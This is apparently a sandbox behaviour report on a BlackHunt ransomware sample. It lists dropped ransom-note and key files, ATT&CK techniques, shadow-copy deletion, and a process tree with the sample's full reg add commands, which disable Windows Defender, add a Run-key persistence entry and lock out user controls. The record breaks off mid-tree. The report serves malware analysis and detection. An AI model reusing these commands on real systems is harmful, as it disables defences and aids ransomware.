File created	C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_rgb6.wmv	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro_5.5.0.165303.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Reykjavik	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfontj2d.properties	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jre7\lib\amd64\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.151\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\.lastModified	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_ko.properties	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jre7\lib\images\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-awt_ja.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Zaporozhye	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jvmti.h	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_ja.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfxrt.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_zh_CN.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
296	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2032	vssadmin.exe
2660	vssadmin.exe
292	vssadmin.exe
1820	vssadmin.exe
780	vssadmin.exe
936	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1772	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3792	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2452	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeRestorePrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeBackupPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeTakeOwnershipPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeAuditPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeSecurityPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeIncBasePriorityPrivilege	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Token: SeBackupPrivilege	2996	vssvc.exe
Token: SeRestorePrivilege	2996	vssvc.exe
Token: SeAuditPrivilege	2996	vssvc.exe
Token: SeBackupPrivilege	1064	wbengine.exe
Token: SeRestorePrivilege	1064	wbengine.exe
Token: SeSecurityPrivilege	1064	wbengine.exe
Token: SeSecurityPrivilege	3640	wevtutil.exe
Token: SeBackupPrivilege	3640	wevtutil.exe
Token: SeSecurityPrivilege	3648	wevtutil.exe
Token: SeSecurityPrivilege	2216	wevtutil.exe
Token: SeBackupPrivilege	3648	wevtutil.exe
Token: SeBackupPrivilege	2216	wevtutil.exe
Token: SeSecurityPrivilege	3732	wevtutil.exe
Token: SeBackupPrivilege	3732	wevtutil.exe
Token: SeSecurityPrivilege	4072	wevtutil.exe
Token: SeBackupPrivilege	4072	wevtutil.exe
Token: SeDebugPrivilege	1772	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1252 wrote to memory of 112	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	29
PID 1252 wrote to memory of 112	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	29
PID 1252 wrote to memory of 112	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	29
PID 1252 wrote to memory of 112	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	29
PID 1252 wrote to memory of 2740	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	31
PID 1252 wrote to memory of 2740	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	31
PID 1252 wrote to memory of 2740	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	31
PID 1252 wrote to memory of 2740	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	31
PID 1252 wrote to memory of 2408	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	33
PID 1252 wrote to memory of 2408	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	33
PID 1252 wrote to memory of 2408	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	33
PID 1252 wrote to memory of 2408	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	33
PID 1252 wrote to memory of 2748	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	34
PID 1252 wrote to memory of 2748	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	34
PID 1252 wrote to memory of 2748	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	34
PID 1252 wrote to memory of 2748	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	34
PID 2740 wrote to memory of 2836	2740	cmd.exe	37
PID 2740 wrote to memory of 2836	2740	cmd.exe	37
PID 2740 wrote to memory of 2836	2740	cmd.exe	37
PID 112 wrote to memory of 2852	112	cmd.exe	38
PID 112 wrote to memory of 2852	112	cmd.exe	38
PID 112 wrote to memory of 2852	112	cmd.exe	38
PID 1252 wrote to memory of 2812	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	39
PID 1252 wrote to memory of 2812	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	39
PID 1252 wrote to memory of 2812	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	39
PID 1252 wrote to memory of 2812	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	39
PID 1252 wrote to memory of 2732	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	40
PID 1252 wrote to memory of 2732	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	40
PID 1252 wrote to memory of 2732	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	40
PID 1252 wrote to memory of 2732	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	40
PID 1252 wrote to memory of 2760	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	44
PID 1252 wrote to memory of 2760	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	44
PID 1252 wrote to memory of 2760	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	44
PID 1252 wrote to memory of 2760	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	44
PID 2748 wrote to memory of 1708	2748	cmd.exe	43
PID 2748 wrote to memory of 1708	2748	cmd.exe	43
PID 2748 wrote to memory of 1708	2748	cmd.exe	43
PID 1252 wrote to memory of 2856	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	150
PID 1252 wrote to memory of 2856	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	150
PID 1252 wrote to memory of 2856	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	150
PID 1252 wrote to memory of 2856	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	150
PID 1252 wrote to memory of 2872	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	46
PID 1252 wrote to memory of 2872	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	46
PID 1252 wrote to memory of 2872	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	46
PID 1252 wrote to memory of 2872	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	46
PID 2408 wrote to memory of 2624	2408	cmd.exe	48
PID 2408 wrote to memory of 2624	2408	cmd.exe	48
PID 2408 wrote to memory of 2624	2408	cmd.exe	48
PID 1252 wrote to memory of 2804	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	49
PID 1252 wrote to memory of 2804	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	49
PID 1252 wrote to memory of 2804	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	49
PID 1252 wrote to memory of 2804	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	49
PID 1252 wrote to memory of 2772	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	51
PID 1252 wrote to memory of 2772	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	51
PID 1252 wrote to memory of 2772	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	51
PID 1252 wrote to memory of 2772	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	51
PID 1252 wrote to memory of 2600	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	54
PID 1252 wrote to memory of 2600	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	54
PID 1252 wrote to memory of 2600	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	54
PID 1252 wrote to memory of 2600	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	54
PID 1252 wrote to memory of 2652	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	57
PID 1252 wrote to memory of 2652	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	57
PID 1252 wrote to memory of 2652	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	57
PID 1252 wrote to memory of 2652	1252	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
"C:\Users\Admin\AppData\Local\Temp\04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
